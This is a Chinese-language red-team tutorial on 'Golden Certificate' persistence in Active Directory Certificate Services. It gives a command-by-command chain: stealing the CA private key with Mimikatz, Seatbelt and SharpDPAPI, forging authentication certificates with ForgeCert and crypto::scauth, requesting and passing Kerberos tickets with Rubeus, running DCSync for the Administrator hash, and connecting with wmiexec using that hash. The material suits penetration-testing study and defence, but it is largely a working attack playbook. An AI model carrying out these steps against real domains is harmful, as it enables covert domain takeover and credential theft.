目录导航
域持久性技术使已经破坏域的红队能够在很长一段时间内以最高级别的权限进行操作。最常见的域持久性技术之一是金票攻击,它涉及使用“ krbtgt ”的 NTLM 哈希创建 kerberos 票证。“ 帐户。但是,在部署了充当 Active Directory 认证服务 (AD CS) 的服务器的域中,可能会在发生入侵时被滥用以实现域持久性控制。这是可行的,通过窃取 CA 证书的私钥,红队可以伪造和签署证书以用于身份验证。在部署 Active Directory 证书服务 (AD CS) 期间,域中默认启用基于证书的身份验证。因此,需要将这些系统视为第 0 层资产并得到适当保护。
最初,这项技术是由Benjamin Delpy在 Mimikatz 中实现的。然而,Will Schroeder和Lee Christensen在Certified Pre-Owned论文中讨论了这个话题,并发布了一个可以在红队操作期间使用的工具来伪造 CA 证书。与其他技术(如DCShadow和 Golden Ticket)相比,通过黄金证书进行红队评估和域持久性在雷达下运行至关重要。通过黄金证书执行域持久化需要以下步骤:
- 证书提取 (CA)
- 伪造CA证书
- 获取 Kerberos 票证(DC 的机器账户)
- 执行递票
证书提取
CA 证书和私钥存储在 CA 服务器中。使用与系统的 RDP 连接,可以使用“ certsrv.msc ”的备份功能检索这些信息。

在证书颁发机构备份向导中,私钥和 CA 证书都可以导出到指定位置。

CA 证书将导出为 p12 文件(个人信息交换)。

但是,还有多种其他方法可用于从服务器提取 CA 证书和私钥。使用参数“ Certificates ”执行Seatbelt可以枚举存储的CA证书。
Seatbelt.exe Certificates

Mimikatz 还可以与加密存储进行交互,以检索和导出证书和私钥。修补“ CryptoAPI ”和“ KeyIso ”不可导出的密钥将可以从许多密钥提供程序导出。
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export


证书将以 .DER 和 .PFX 格式提取到磁盘上。

SharpDPAPI也可用于提取证书。执行“ certificates /machine ”命令将使用机器证书存储来提取可解密的机器证书和私钥。
SharpDPAPI.exe certificates /machine

私钥和证书都将显示在控制台中。

提取的私钥和证书可以写入扩展名为 .PEM 的文件中。执行以下命令可以将证书转换为可用格式,如 .PFX 允许用于使用 Rubeus 进行身份验证。
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

伪造CA证书
Mimikatz 可用于通过使用“ crypto::scauth ”模块来伪造和签署证书。该模块最初是为创建智能卡身份验证客户端证书而开发的。所需的参数是证书颁发机构的主题名称和将创建证书的用户的用户主体名称。可选地,“ /pfx ”参数可用于定义将要创建的证书的文件名。
crypto::scauth /caname:ca /upn:[email protected]

或者,ForgeCert是由Lee Christensen在 C# 中开发的,它使红队能够使用 CA 证书为任何域用户伪造证书进行身份验证。该工具可以从植入物的内存中执行,并将文件写入磁盘。执行以下命令将为“ pentestlab ”用户创建一个假证书,该证书将由 CA 证书的私钥签名。
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName [email protected] --NewCertPath localadmin.pfx --NewCertPassword Password123

应该注意的是,必须为域上的活动用户创建证书。因此它不能用于“ krbtgt ”帐户。伪造证书的有效期为1年,只要CA证书有效(一般为5年)就有效。除了域用户帐户外,机器帐户也可用于域持久性,因为可以使用 DCSync、Pass the Ticket 和 S4U2Self 等技术。
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName [email protected] --NewCertPath DC$.pfx --NewCertPassword Password123

Kerberos 票证
可以使用伪造的证书从密钥分发中心 (KDC) 请求 Kerberos 票证以进行身份验证。
Rubeus.exe asktgt /user:pentestlab /certificate:localadmin.pfx /password:Password123


传递票据
可以从域中的任何主机使用属于域控制器的机器帐户的证书来请求 Kerberos 票证。执行以下命令将检索 base64 格式的票证。
Rubeus.exe asktgt /user:DC$ /certificate:DC$.pfx /password:Password123


base64 票证可以被解码并写入扩展名为 .kirbi 的文件中。
echo "<base64>" | base64 -d > dc$.kirbi

票证可以传输到任何 Windows 主机,并使用传递票证技术导入任何用户会话。
Rubeus.exe ptt /ticket:dc$.kirbi

由于票据属于域控制器的计算机帐户,因此可以执行提升权限的活动,例如 DCSync。从当前执行 Mimikatz 并运行以下命令的会话中,将检索作为域管理员帐户的用户 Administrator 的 NTLM 哈希。
lsadump::dcsync /user:Administrator

hash可用于通过散列技术或通过 WMI 连接建立对域控制器的访问。
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 [email protected]

YouTube视频演示
转载请注明出处及链接